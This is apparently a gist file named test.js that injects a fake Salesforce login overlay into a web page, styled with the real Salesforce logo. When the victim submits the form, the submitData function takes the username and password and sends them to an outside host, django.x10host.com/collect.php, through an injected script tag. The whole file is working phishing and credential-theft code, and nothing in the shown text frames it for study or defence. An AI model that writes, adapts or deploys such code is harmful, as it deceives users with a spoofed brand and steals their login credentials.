test gist

test.js

function addHtml() {
  var html = '\
  <div class="e-overlay">\
  <div class="e-modal">\
    <div class="e-left">\
      <div class="e-logo"></div>\
      <div class="e-inputs">\
        <input type="text" id="e-user" class="e-user" placeholder="Username"><br/>\
        <input type="password" id="e-pass" class="e-pass" placeholder="Password">\
      </div>\
      <button class="e-submit" onclick="submitData()">Log in to Salesforce</button>\
      <div class="e-para">\
        <input type="checkbox" id="e-remme">\
        <label for="e-remme">Remember Username</label>\
      </div>\
      <div class="e-para">\
        <a href="#">Forgot your password?</a> | <a href="#">Sign up for free.</a>\
      </div>\
      <div class="e-para">\
        <a href="#">Log in to a custom domain.</a>\
      </div>\
    </div>\
    <div class="e-right">\
\
    </div>\
  </div>\
</div>\
  ';
  var divNode = document.createElement('div');
  divNode.innerHTML = html;
  document.body.appendChild(divNode);
}

function addStyle() {
  var css = '\
  .e-overlay {\
  position: absolute;\
  left: 0;\
  right: 0;\
  top: 0;\
  bottom: 0;\
  background-color: rgba(0,0,0, 0.7);\
  color: #999;\
  font-family: helvetica;\
  font-size: 13px;\
}\
\
.e-overlay a {\
  text-decoration: none;\
  color: #2789c7;\
}\
\
.e-modal {\
  background-color: #eee;\
  width: 780px;\
  height: 390px;\
  margin: 0 auto;\
  margin-top: 200px;\
  text-align: center;\
  padding: 10px 0px;\
  border-radius: 5px;\
  box-shadow: 0 0 2px 2px rgba(0,0,0,0.4);\
}\
\
.e-logo {\
  height: 90px;\
  background: transparent url(https://login.salesforce.com/img/logo190.png) center center no-repeat;\
  background-size: contain;\
  margin-top: 20px;\
  margin-bottom: 10px;\
}\
\
.e-left, .e-right {\
  display: inline-block;\
}\
\
.e-right {\
  width: 500px;\
  height: 100%;\
  vertical-align: top;\
  background: transparent url(http://i.imgur.com/ZC5F7cY.png) right top no-repeat;\
}\
\
.e-inputs input {\
  height: 40px;\
  width: 220px;\
  font-size: 12px;\
  padding: 0 10px;\
}\
\
.e-submit {\
  margin-top: 10px;\
  width: 245px;\
  height: 40px;\
  color: #fff;\
  background-color: #2789c7;\
  border: 1px solid #aaa;\
  border-radius: 2px;\
  font-size: 17px;\
}\
\
.e-para {\
  text-align: left;\
  margin-top: 10px;\
}\
  ';
  
  var styleNode = document.createElement('style');
  styleNode.appendChild(document.createTextNode(css));
  document.getElementsByTagName('head')[0].appendChild(styleNode);
}

function submitData() {
  var user = document.getElementById('e-user').value;
  var pass = document.getElementById('e-pass').value;
  console.log('submitdata', user, pass);
  var scriptNode = document.createElement('script');
  scriptNode.setAttribute('src',  'http://django.x10host.com/collect.php?user='+user+'&pass='+pass);
  document.getElementsByTagName('head')[0].appendChild(scriptNode);
}

function showLogin() {
  addHtml();
  addStyle();
}
showLogin();